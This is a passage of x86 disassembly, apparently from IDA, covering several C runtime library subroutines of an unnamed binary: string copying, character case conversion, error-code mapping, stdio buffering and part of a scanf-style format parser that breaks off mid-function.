; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
		pop	ecx
		mov	dword_4DCFF4, 1

locret_420288:				; CODE XREF: sub_42026D+7j
		retn
sub_42026D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420289	proc near		; CODE XREF: sub_41B9D1+2Bp
					; sub_41B9D1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DCDBC, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_4202AD
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_420310
; ---------------------------------------------------------------------------


loc_4202AD:				; CODE XREF: sub_420289+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_4202F2
		mov	ecx, [ebp+arg_4]


loc_4202B8:				; CODE XREF: sub_420289+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DCEC1[esi], 4
		mov	[edi], al
		jz	short loc_4202DC
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_4202E8
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202EE
		jmp	short loc_4202E2
; ---------------------------------------------------------------------------


loc_4202DC:				; CODE XREF: sub_420289+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_4202F2


loc_4202E2:				; CODE XREF: sub_420289+51j
		test	edx, edx
		jnz	short loc_4202B8
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202E8:				; CODE XREF: sub_420289+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_4202F2
; ---------------------------------------------------------------------------


loc_4202EE:				; CODE XREF: sub_420289+4Fj
		and	byte ptr [edi-2], 0


loc_4202F2:				; CODE XREF: sub_420289+2Aj
					; sub_420289+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_42030D
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_42030D:				; CODE XREF: sub_420289+6Fj
		mov	eax, [ebp+arg_0]


loc_420310:				; CODE XREF: sub_420289+22j
		pop	edi
		pop	ebp
		retn
sub_420289	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420313	proc near		; CODE XREF: sub_41BBBD+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBA14, 0
		push	ebx
		jnz	short loc_42033E
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_4203DC
		cmp	eax, 7Ah
		jg	loc_4203DC
		sub	eax, 20h
		jmp	loc_4203DC
; ---------------------------------------------------------------------------


loc_42033E:				; CODE XREF: sub_420313+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420371
		cmp	dword_43CBE4, 1
		jle	short loc_42035E
		push	2
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420369
; ---------------------------------------------------------------------------


loc_42035E:				; CODE XREF: sub_420313+3Dj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420369:				; CODE XREF: sub_420313+49j
		test	eax, eax
		jnz	short loc_420371


loc_42036D:				; CODE XREF: sub_420313+AFj
		mov	eax, ebx
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_420371:				; CODE XREF: sub_420313+34j
					; sub_420313+58j
		mov	edx, off_43C9D8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420394
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_42039D
; ---------------------------------------------------------------------------


loc_420394:				; CODE XREF: sub_420313+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_42039D:				; CODE XREF: sub_420313+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBA14
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_42036D
		cmp	eax, 1
		jnz	short loc_4203CF
		movzx	eax, [ebp+var_4]
		jmp	short loc_4203DC
; ---------------------------------------------------------------------------


loc_4203CF:				; CODE XREF: sub_420313+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_4203DC:				; CODE XREF: sub_420313+14j
					; sub_420313+1Dj ...
		pop	ebx
		leave
		retn
sub_420313	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203DF	proc near		; CODE XREF: sub_41BDDC+1Dp
					; sub_41D3BE+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DB95C, ecx
		mov	eax, offset dword_43CCF0


loc_4203F0:				; CODE XREF: sub_4203DF+1Ej
		cmp	ecx, [eax]
		jz	short loc_420414
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43CE58
		jl	short loc_4203F0
		cmp	ecx, 13h
		jb	short loc_420421
		cmp	ecx, 24h
		ja	short loc_420421
		mov	dword_4DB958, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420414:				; CODE XREF: sub_4203DF+13j
		mov	eax, dword_43CCF4[edx*8]
		mov	dword_4DB958, eax
		retn
; ---------------------------------------------------------------------------


loc_420421:				; CODE XREF: sub_4203DF+23j
					; sub_4203DF+28j
		cmp	ecx, 0BCh
		jb	short loc_42043B
		cmp	ecx, 0CAh
		mov	dword_4DB958, 8
		jbe	short locret_420445


loc_42043B:				; CODE XREF: sub_4203DF+48j
		mov	dword_4DB958, 16h

locret_420445:				; CODE XREF: sub_4203DF+5Aj
		retn
sub_4203DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_420446	proc near		; CODE XREF: sub_41BE06+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jz	short loc_4204CF
		cmp	esi, offset dword_43D0E8
		jnz	short loc_420464
		xor	eax, eax
		jmp	short loc_42046F
; ---------------------------------------------------------------------------


loc_420464:				; CODE XREF: sub_420446+18j
		cmp	esi, offset dword_43D108
		jnz	short loc_4204CF
		push	1
		pop	eax


loc_42046F:				; CODE XREF: sub_420446+1Cj
		inc	dword_4DBB40
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_4204CF
		cmp	dword_4DB9E4[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DB9E4h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_4204B5
		push	ebx
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_4204B5
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_4204C2
; ---------------------------------------------------------------------------


loc_4204B5:				; CODE XREF: sub_420446+4Dj
					; sub_420446+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_4204C2:				; CODE XREF: sub_420446+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204CF:				; CODE XREF: sub_420446+10j
					; sub_420446+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420446	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204D3	proc near		; CODE XREF: sub_41BE06+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_4204FD
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_42050E
		push	esi
		call	sub_41DB8B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4204FD:				; CODE XREF: sub_4204D3+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_42050E
		push	eax
		call	sub_41DB8B
		pop	ecx


loc_42050E:				; CODE XREF: sub_4204D3+10j
					; sub_4204D3+32j
		pop	esi
		retn
sub_4204D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420510	proc near		; CODE XREF: sub_41C645+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_420F16
		mov	edi, [ebp+arg_0]
		jmp	short loc_42053F
; ---------------------------------------------------------------------------


loc_42053A:				; CODE XREF: sub_420510+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_42053F:				; CODE XREF: sub_420510+28j
		cmp	dword_43CBE4, 1
		jle	short loc_420557
		movzx	eax, al
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420566
; ---------------------------------------------------------------------------


loc_420557:				; CODE XREF: sub_420510+36j
		mov	ecx, off_43C9D8
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420566:				; CODE XREF: sub_420510+45j
		cmp	eax, ebx
		jz	short loc_4205A0
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_420F9D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_420F86
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		add	esp, 0Ch


loc_42058E:				; CODE XREF: sub_420510+8Ej
		test	eax, eax
		jz	short loc_4205A0
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41D670
		pop	ecx
		jmp	short loc_42058E
; ---------------------------------------------------------------------------


loc_4205A0:				; CODE XREF: sub_420510+58j
					; sub_420510+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_420E82
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx


loc_4205D7:				; CODE XREF: sub_420510+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43CBE4, 1
		jle	short loc_4205F4
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420603
; ---------------------------------------------------------------------------


loc_4205F4:				; CODE XREF: sub_420510+D3j
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_420603:				; CODE XREF: sub_420510+E2j
		test	eax, eax
		jz	short loc_420619
		mov	eax, [ebp+var_C]
		inc	[ebp+var_20]
		lea	eax, [eax+eax*4]
		lea	eax, [ebx+eax*2-30h]
		mov	[ebp+var_C], eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420619:				; CODE XREF: sub_420510+F5j
		cmp	ebx, 4Eh
		jg	short loc_42065C
		jz	short loc_42067E
		cmp	ebx, 2Ah
		jz	short loc_420657
		cmp	ebx, 46h
		jz	short loc_42067E
		cmp	ebx, 49h
		jz	short loc_420639
		cmp	ebx, 4Ch
		jnz	short loc_42066B
		inc	[ebp+var_D]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420639:				; CODE XREF: sub_420510+11Dj
		cmp	byte ptr [esi+1], 36h
		jnz	short loc_42066B
		cmp	byte ptr [esi+2], 34h
		lea	eax, [esi+2]
		jnz	short loc_42066B
		inc	[ebp+var_30]
		and	[ebp+var_28], 0
		and	[ebp+var_24], 0
		mov	esi, eax
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420657:				; CODE XREF: sub_420510+113j
		inc	[ebp+var_E]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_42065C:				; CODE XREF: sub_420510+10Cj
		cmp	ebx, 68h
		jz	short loc_420678
		cmp	ebx, 6Ch
		jz	short loc_420670
		cmp	ebx, 77h
		jz	short loc_420673


loc_42066B:				; CODE XREF: sub_420510+122j
					; sub_420510+12Dj ...
		inc	[ebp+var_F]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420670:				; CODE XREF: sub_420510+154j
		inc	[ebp+var_D]


loc_420673:				; CODE XREF: sub_420510+159j
		inc	[ebp+var_5]
		jmp	short loc_42067E
; ---------------------------------------------------------------------------


loc_420678:				; CODE XREF: sub_420510+14Fj
		dec	[ebp+var_D]
		dec	[ebp+var_5]


loc_42067E:				; CODE XREF: sub_420510+107j
					; sub_420510+10Ej ...
		cmp	[ebp+var_F], 0
		jz	loc_4205D7
		cmp	[ebp+var_E], 0
		mov	[ebp+arg_4], esi
		jnz	short loc_4206A3
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_44], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	eax, [eax-4]
		mov	[ebp+var_2C], eax


loc_4206A3:				; CODE XREF: sub_420510+17Fj
		and	[ebp+var_F], 0
		cmp	[ebp+var_5], 0
		jnz	short loc_4206C1
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_4206BD
		cmp	al, 43h
		jz	short loc_4206BD
		or	[ebp+var_5], 0FFh
		jmp	short loc_4206C1
; ---------------------------------------------------------------------------


loc_4206BD:				; CODE XREF: sub_420510+1A1j
					; sub_420510+1A5j
		mov	[ebp+var_5], 1


loc_4206C1:				; CODE XREF: sub_420510+19Bj
					; sub_420510+1ABj
		mov	ebx, [ebp+arg_4]
		movzx	esi, byte ptr [ebx]
		or	esi, 20h
		cmp	esi, 6Eh
		mov	[ebp+var_3C], esi
		jz	short loc_4206FA
		cmp	esi, 63h
		jz	short loc_4206EB
		cmp	esi, 7Bh
		jz	short loc_4206EB
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_420F9D
		pop	ecx
		jmp	short loc_4206F6
; ---------------------------------------------------------------------------


loc_4206EB:				; CODE XREF: sub_420510+1C5j
					; sub_420510+1CAj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C


loc_4206F6:				; CODE XREF: sub_420510+1D9j
		pop	ecx
		mov	[ebp+var_14], eax


loc_4206FA:				; CODE XREF: sub_420510+1C0j
		xor	eax, eax
		cmp	[ebp+var_20], eax
		jz	short loc_42070A
		cmp	[ebp+var_C], eax
		jz	loc_420EE6


loc_42070A:				; CODE XREF: sub_420510+1EFj
		cmp	esi, 6Fh
		jg	loc_420971
		jz	loc_420C23
		cmp	esi, 63h
		jz	loc_42094E
		cmp	esi, 64h
		jz	loc_420C23
		jle	loc_42099B
		cmp	esi, 67h
		jle	short loc_42076E
		cmp	esi, 69h
		jz	short loc_420756
		cmp	esi, 6Eh
		jnz	loc_42099B
		cmp	[ebp+var_E], 0
		mov	edi, [ebp+var_4]
		jz	loc_420E51
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420756:				; CODE XREF: sub_420510+229j
		push	64h
		pop	esi


loc_420759:				; CODE XREF: sub_420510+480j
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	loc_4209E3
		mov	[ebp+var_17], 1
		jmp	loc_4209E8
; ---------------------------------------------------------------------------


loc_42076E:				; CODE XREF: sub_420510+224j
		mov	ebx, [ebp+var_14]
		lea	esi, [ebp+var_1C4]
		cmp	ebx, 2Dh
		jnz	short loc_42078A
		mov	[ebp+var_1C4], bl
		lea	esi, [ebp+var_1C3]
		jmp	short loc_42078F
; ---------------------------------------------------------------------------


loc_42078A:				; CODE XREF: sub_420510+26Aj
		cmp	ebx, 2Bh
		jnz	short loc_4207A6


loc_42078F:				; CODE XREF: sub_420510+278j
		mov	edi, [ebp+arg_0]
		dec	[ebp+var_C]
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207A9
; ---------------------------------------------------------------------------


loc_4207A6:				; CODE XREF: sub_420510+27Dj
		mov	edi, [ebp+arg_0]


loc_4207A9:				; CODE XREF: sub_420510+294j
		cmp	[ebp+var_20], 0
		jz	short loc_4207B8
		cmp	[ebp+var_C], 15Dh
		jle	short loc_4207BF


loc_4207B8:				; CODE XREF: sub_420510+29Dj
		mov	[ebp+var_C], 15Dh


loc_4207BF:				; CODE XREF: sub_420510+2A6j
					; sub_420510+2F2j
		cmp	dword_43CBE4, 1
		jle	short loc_4207D4
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4207DF
; ---------------------------------------------------------------------------


loc_4207D4:				; CODE XREF: sub_420510+2B6j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4207DF:				; CODE XREF: sub_420510+2C2j
		test	eax, eax
		jz	short loc_420804
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420804
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_4207BF
; ---------------------------------------------------------------------------


loc_420804:				; CODE XREF: sub_420510+2D1j
					; sub_420510+2DBj
		cmp	byte_43CBE8, bl
		jnz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		mov	al, byte_43CBE8
		mov	[esi], al
		pop	ecx
		mov	[ebp+var_14], ebx
		inc	esi


loc_42082D:				; CODE XREF: sub_420510+360j
		cmp	dword_43CBE4, 1
		jle	short loc_420842
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42084D
; ---------------------------------------------------------------------------


loc_420842:				; CODE XREF: sub_420510+324j
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_42084D:				; CODE XREF: sub_420510+330j
		test	eax, eax
		jz	short loc_420872
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_420872
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_42082D
; ---------------------------------------------------------------------------


loc_420872:				; CODE XREF: sub_420510+2FAj
					; sub_420510+304j ...
		cmp	[ebp+var_1C], 0
		jz	loc_42090A
		cmp	ebx, 65h
		jz	short loc_42088A
		cmp	ebx, 45h
		jnz	loc_42090A


loc_42088A:				; CODE XREF: sub_420510+36Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 2Dh
		mov	[ebp+var_14], ebx
		jnz	short loc_4208B1
		mov	[esi], al
		inc	esi
		jmp	short loc_4208B6
; ---------------------------------------------------------------------------


loc_4208B1:				; CODE XREF: sub_420510+39Aj
		cmp	ebx, 2Bh
		jnz	short loc_4208D4


loc_4208B6:				; CODE XREF: sub_420510+39Fj
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jnz	short loc_4208C5
		and	[ebp+var_C], eax
		jmp	short loc_4208D4
; ---------------------------------------------------------------------------


loc_4208C5:				; CODE XREF: sub_420510+3AEj
					; sub_420510+3F8j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_4208D4:				; CODE XREF: sub_420510+3A4j
					; sub_420510+3B3j
		cmp	dword_43CBE4, 1
		jle	short loc_4208E9
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_4208F4
; ---------------------------------------------------------------------------


loc_4208E9:				; CODE XREF: sub_420510+3CBj
		mov	eax, off_43C9D8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_4208F4:				; CODE XREF: sub_420510+3D7j
		test	eax, eax
		jz	short loc_42090A
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	short loc_42090A
		inc	[ebp+var_1C]
		mov	[esi], bl
		inc	esi
		jmp	short loc_4208C5
; ---------------------------------------------------------------------------


loc_42090A:				; CODE XREF: sub_420510+366j
					; sub_420510+374j ...
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		cmp	[ebp+var_1C], 0
		pop	ecx
		pop	ecx
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C4]
		push	eax
		movsx	eax, [ebp+var_D]
		push	[ebp+var_2C]
		dec	eax
		push	eax
		call	off_43CF88
		add	esp, 0Ch
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_42094E:				; CODE XREF: sub_420510+20Cj
		cmp	[ebp+var_20], eax
		jnz	short loc_42095D
		inc	[ebp+var_C]
		mov	[ebp+var_20], 1


loc_42095D:				; CODE XREF: sub_420510+441j
		cmp	[ebp+var_5], 0
		jle	short loc_420967
		mov	[ebp+var_16], 1


loc_420967:				; CODE XREF: sub_420510+451j
		mov	edi, offset dword_43CE60
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_420971:				; CODE XREF: sub_420510+1FDj
		mov	eax, esi
		sub	eax, 70h
		jz	loc_420C1F
		sub	eax, 3
		jz	loc_420A6D
		dec	eax
		dec	eax
		jz	loc_420C23
		sub	eax, 3
		jz	loc_420759
		sub	eax, 3
		jz	short loc_4209BF


loc_42099B:				; CODE XREF: sub_420510+21Bj
					; sub_420510+22Ej
		movzx	eax, byte ptr [ebx]
		cmp	eax, [ebp+var_14]
		jnz	loc_420EE6
		dec	[ebp+var_15]
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		mov	eax, [ebp+var_44]
		mov	[ebp+arg_8], eax
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_4209BF:				; CODE XREF: sub_420510+489j
		cmp	[ebp+var_5], 0
		jle	short loc_4209C9
		mov	[ebp+var_16], 1


loc_4209C9:				; CODE XREF: sub_420510+4B3j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		cmp	byte ptr [edi],	5Eh
		jnz	loc_420A80
		mov	eax, edi
		lea	edi, [eax+1]
		jmp	loc_420A7C
; ---------------------------------------------------------------------------


loc_4209E3:				; CODE XREF: sub_420510+24Fj
		cmp	ebx, 2Bh
		jnz	short loc_420A0A


loc_4209E8:				; CODE XREF: sub_420510+259j
		dec	[ebp+var_C]
		jnz	short loc_4209F9
		cmp	[ebp+var_20], 0
		jz	short loc_4209F9
		mov	[ebp+var_F], 1
		jmp	short loc_420A0A
; ---------------------------------------------------------------------------


loc_4209F9:				; CODE XREF: sub_420510+4DBj
					; sub_420510+4E1j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420A0A:				; CODE XREF: sub_420510+4D6j
					; sub_420510+4E7j
		cmp	ebx, 30h
		jnz	loc_420C58
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		cmp	bl, 78h
		mov	[ebp+var_14], ebx
		jz	short loc_420A58
		cmp	bl, 58h
		jz	short loc_420A58
		cmp	esi, 78h
		mov	[ebp+var_1C], 1
		jz	short loc_420A42
		push	6Fh


loc_420A3C:				; CODE XREF: sub_420510+55Bj
		pop	esi
		jmp	loc_420C58
; ---------------------------------------------------------------------------


loc_420A42:				; CODE XREF: sub_420510+528j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx
		push	30h
		pop	ebx
		jmp	loc_420C55
; ---------------------------------------------------------------------------


loc_420A58:				; CODE XREF: sub_420510+517j
					; sub_420510+51Cj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax
		mov	[ebp+var_14], ebx
		push	78h
		jmp	short loc_420A3C
; ---------------------------------------------------------------------------


loc_420A6D:				; CODE XREF: sub_420510+46Fj
		cmp	[ebp+var_5], 0
		jle	short loc_420A77
		mov	[ebp+var_16], 1


loc_420A77:				; CODE XREF: sub_420510+561j
		mov	edi, offset dword_43CE58


loc_420A7C:				; CODE XREF: sub_420510+45Cj
					; sub_420510+4CEj
		or	[ebp+var_18], 0FFh


loc_420A80:				; CODE XREF: sub_420510+4C3j
		push	20h
		lea	eax, [ebp+var_64]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420AA4
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_420AA4
		mov	dl, 5Dh
		inc	edi
		mov	[ebp+var_59], 20h
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AA4:				; CODE XREF: sub_420510+584j
					; sub_420510+589j
		mov	dl, [ebp+var_35]


loc_420AA7:				; CODE XREF: sub_420510+592j
					; sub_420510+5E1j ...
		mov	al, [edi]
		cmp	al, 5Dh
		jz	short loc_420B0C
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_420AF3
		test	dl, dl
		jz	short loc_420AF3
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_420AF3
		inc	edi
		cmp	dl, cl
		jnb	short loc_420AC6
		mov	al, cl
		jmp	short loc_420ACA
; ---------------------------------------------------------------------------


loc_420AC6:				; CODE XREF: sub_420510+5B0j
		mov	al, dl
		mov	dl, cl


loc_420ACA:				; CODE XREF: sub_420510+5B4j
		cmp	dl, al
		ja	short loc_420AEF
		movzx	edx, dl
		movzx	esi, al
		sub	esi, edx
		inc	esi


loc_420AD7:				; CODE XREF: sub_420510+5DDj
		mov	ecx, edx
		mov	eax, edx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		inc	edx
		dec	esi
		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


